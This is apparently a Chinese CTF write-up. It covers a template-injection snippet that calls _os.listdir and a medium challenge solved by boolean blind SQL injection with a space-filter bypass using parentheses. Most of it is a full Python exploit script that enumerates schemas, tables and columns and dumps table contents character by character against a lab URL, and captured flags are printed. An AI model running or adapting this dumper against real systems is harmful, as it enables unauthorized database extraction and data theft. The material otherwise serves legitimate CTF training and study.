{% set a = _difflib.get_close_matches('a',['a']) %}
{% set b = _textwrap.dedent(' x') %}
{% set c = _statistics.fmean([1,2,3]) %}
{% set d = _os.listdir('.') %}
{% set e = _re.search('a','a') %}
{% set f = _random.randint(1,2) %}
{% set g = _json.loads('"x"') %}
{% set h = _json.load(_f) %}
{% set i = _re.findall('.', 'a') %}
{% set j = _statistics.mean([1,2]) %}
{% set k = _random.choice([1,2]) %}
Rendered.

txt
flag{12c4c60d-6a52-4515-85a0-90052c4e6b2b}
白帽小K的故事(2)
题目内容:
小 K 在泰拉大陆上漫步的过程中,遇到了形形色色的人,她把这些人记录在了她的超维空间数据库中。但是突生变故让她丢失了终端的控制权,只留下了备用终端。可是这个终端只有一个检查用户状态的接口,只有获取到数据库中的神秘代码才能够重新夺回控制权。帮她夺回权限吧!
【难度:中等】
盲注,通过字典fuzz
之后发现,可以使用()
来绕过对空格的过滤,这里给出自动化的脚本.
exp
:
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import time
import sys
import argparse
# ---------------- 配置区(请按需修改) ----------------
URL = "https://eci-2ze67tlhfafcfkym7tjr.cloudeci1.ichunqiu.com:80/search"
HEADERS = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (compatible)"
}
# 发送时的前后缀(保持你给出的格式)
PREFIX = "name=amiya'and("
SUFFIX = ")#"
# 超时/重试/节流
TIMEOUT = 6
RETRIES = 2
SLEEP = 0.03 # 每请求间隔,默认 30ms(可根据靶场调整)
DEBUG = False # True 打印每条请求与响应,调试时开启
# 可选:空格绕过(把空格替为 /**/ 等),但既然要无空格风格,默认 False
SPACE_BYPASS = False
SPACE_REPLACEMENT = "/**/"
# ----------------- HTTP 与判断函数 -----------------
def send_payload_raw(cond):
if SPACE_BYPASS:
cond = cond.replace(" ", SPACE_REPLACEMENT)
payload = f"{PREFIX}{cond}{SUFFIX}"
last_exc = None
for attempt in range(RETRIES + 1):
try:
if DEBUG:
print(f"[DBG] -> {payload}")
resp = requests.post(URL, data=payload, headers=HEADERS, timeout=TIMEOUT)
try:
return resp.json()
except Exception:
return resp.text
except requests.exceptions.RequestException as e:
last_exc = e
if DEBUG:
print(f"[WARN] 请求异常:{e} (尝试 {attempt+1}/{RETRIES+1})")
time.sleep(1)
if DEBUG:
print("[ERROR] 所有重试失败:", last_exc)
return None
def is_true_response(resp):
if resp is None:
return False
if isinstance(resp, dict):
status = str(resp.get("status", "")).lower()
message = str(resp.get("message", "")).lower()
if status == "ok" and "found" in message:
return True
if status == "error" and "not found" in message:
return False
txt = str(resp)
if "Found" in txt:
return True
if "Not Found" in txt:
return False
if DEBUG:
print("[DBG] 未能解析响应:", txt[:400].replace("\n", "\\n"))
return False
def check_condition(cond):
resp = send_payload_raw(cond)
return is_true_response(resp)
# ----------------- 爆破函数 -----------------
def binary_search_length(expr, max_upper=16384):
if DEBUG:
print(f"[DBG] binary_search_length expr={expr} max_upper={max_upper}")
low = 0
high = max_upper
while low < high:
mid = (low + high) // 2
cond = f"length(({expr}))>{mid}"
if DEBUG:
print(f"[DBG] length check: {cond}")
if check_condition(cond):
low = mid + 1
else:
high = mid
time.sleep(SLEEP)
length = low
if DEBUG:
print(f"[DBG] length -> {length}")
return length
def extract_string_by_binary(expr, max_len=20000):
if DEBUG:
print(f"[DBG] extract_string_by_binary expr={expr} max_len={max_len}")
result = ""
for pos in range(1, max_len + 1):
null_cond = f"ascii(substr(({expr}),{pos},1))=0"
if check_condition(null_cond):
if DEBUG:
print(f"[DBG] pos {pos} is NULL -> stop")
break
low = 32
high = 126
while low <= high:
mid = (low + high) // 2
cond = f"ascii(substr(({expr}),{pos},1))>{mid}"
if check_condition(cond):
low = mid + 1
else:
high = mid - 1
time.sleep(SLEEP)
ascii_val = low
if ascii_val < 32 or ascii_val > 126:
if DEBUG:
print(f"[DBG] pos {pos} ascii out of range: {ascii_val} -> stop")
break
ch = chr(ascii_val)
result += ch
sys.stdout.write(f"\r[+] pos={pos} -> '{ch}' current_len={len(result)}")
sys.stdout.flush()
print(f"\n[+] 提取完成: len={len(result)}")
return result
# ----------------- 列表化辅助函数 -----------------
def extract_group_concat_list(expr, max_len_guess=16384, sep=':'):
length = binary_search_length(expr, max_len_guess)
if length == 0:
return []
s = extract_string_by_binary(expr, length)
items = [x for x in s.split(sep) if x != '']
return items
# ----------------- 枚举与导出函数 -----------------
def list_all_databases():
expr = "select(group_concat(concat(schema_name,0x3a)))from(information_schema.schemata)"
return extract_group_concat_list(expr, max_len_guess=4096, sep=':')
def list_tables_for_schema(schema_name):
expr = f"select(group_concat(concat(table_name,0x3a)))from(information_schema.tables)where(table_schema)='{schema_name}'"
return extract_group_concat_list(expr, max_len_guess=8192, sep=':')
def list_columns_for_table(schema_name, table_name):
expr = f"select(group_concat(concat(column_name,0x3a)))from(information_schema.columns)where(table_schema)='{schema_name}'and(table_name)='{table_name}'"
return extract_group_concat_list(expr, max_len_guess=8192, sep=':')
def dump_table_data(schema_name, table_name, columns=None, max_len_guess=20000):
"""
尝试导出指定表的所有行,默认将所有列按 ':' 连接,整表按 ',' 连接。
返回导出的原始拼接字符串(如果成功),以及解析成的行列表。
注:若表非常大或 group_concat 有长度限制,可能失败或被截断。
"""
if columns is None:
cols = list_columns_for_table(schema_name, table_name)
if not cols:
if DEBUG:
print(f"[WARN] 无法获取 {schema_name}.{table_name} 的列信息")
return "", []
else:
cols = columns
# 构造 concat(col1,0x3a,col2,0x3a,...)
concat_parts = []
for i, c in enumerate(cols):
concat_parts.append(c)
if i != len(cols) - 1:
concat_parts.append("0x3a")
inner = ",".join(concat_parts)
# group_concat(concat(...)) from schema.table
expr = f"select(group_concat(concat({inner})))from({schema_name}.{table_name})"
length = binary_search_length(expr, max_len_guess)
if length == 0:
return "", []
s = extract_string_by_binary(expr, length)
# 尝试把整个拼接字符串按 0x3a 分列,然后按行拆分(注意:无法区分列间的逗号导致的歧义,假定列值不含 ':')
rows = []
if s:
# group_concat 将所有行连成一个长字符串,用 ',' 分隔行(如果默认分隔符为 ','),但为了稳妥,先按 ',' 尝试
# 如果你在 DB 中设置了不同的 SEPARATOR(例如 0x2c),需要调整此处。
rows = [r for r in s.split(',') if r != '']
return s, rows
# ----------------- CLI 与示例 -----------------
def parse_args():
p = argparse.ArgumentParser(description="无空格括号风格 布尔盲注 导出 Flag DB 脚本(用于授权靶场/本地CTF)")
p.add_argument("--url", help="目标 URL(覆盖脚本内配置)", default=None)
p.add_argument("--schema", help="目标 schema 名(默认为 Flag)", default="Flag")
p.add_argument("--only-db", help="只列出数据库,不继续枚举表/列", action="store_true")
p.add_argument("--debug", help="开启调试", action="store_true")
return p.parse_args()
def main():
global URL, DEBUG
args = parse_args()
if args.url:
URL = args.url
if args.debug:
DEBUG = True
print("[*] 注意:请确认你对目标有授权(用户已确认为自己的靶场)")
print("[*] 目标 URL:", URL)
print("\n[*] Step 1: 枚举所有 database()(schema)")
dbs = list_all_databases()
if not dbs:
print("[WARN] 未能获取到任何 database,请检查目标或增加 max_len_guess")
return
print(f"[+] 共发现 {len(dbs)} 个 schema:")
for i, db in enumerate(dbs, 1):
print(f" [{i}] {db}")
if args.only_db:
return
target_schema = args.schema
print(f"\n[*] Step 2: 以 schema='{target_schema}' 作为目标,枚举表与列并尝试导出数据")
tables = list_tables_for_schema(target_schema)
if not tables:
print(f"[WARN] 在 schema '{target_schema}' 下未发现表或无权限")
return
print(f"[+] 在 schema '{target_schema}' 下发现 {len(tables)} 张表:")
for t in tables:
print(f"\n[>] 表: {t}")
cols = list_columns_for_table(target_schema, t)
if not cols:
print(" [WARN] 无法枚举列 或 表为空")
continue
print(f" [*] 列 ({len(cols)}): {', '.join(cols)}")
print(" [*] 尝试导出整表数据(可能被截断或受长度限制)...")
raw, rows = dump_table_data(target_schema, t, columns=cols)
if not raw:
print(" [WARN] 导出失败或为空")
continue
# 打印前几行以便快速查看(若太多则只看前 20)
max_preview = 20
print(f" [*] 导出总长度: {len(raw)} 字符,预览前 {min(len(rows), max_preview)} 行:")
for i, r in enumerate(rows[:max_preview], 1):
print(f" ({i}) {r}")
if len(rows) > max_preview:
print(f" ... (共 {len(rows)} 行,已省略)")
print('\n[+] 导出尝试完成')
if __name__ == "__main__":
main()

txt
flag{b2f00fa9-8d65-45ac-9193-8a852c4910fb}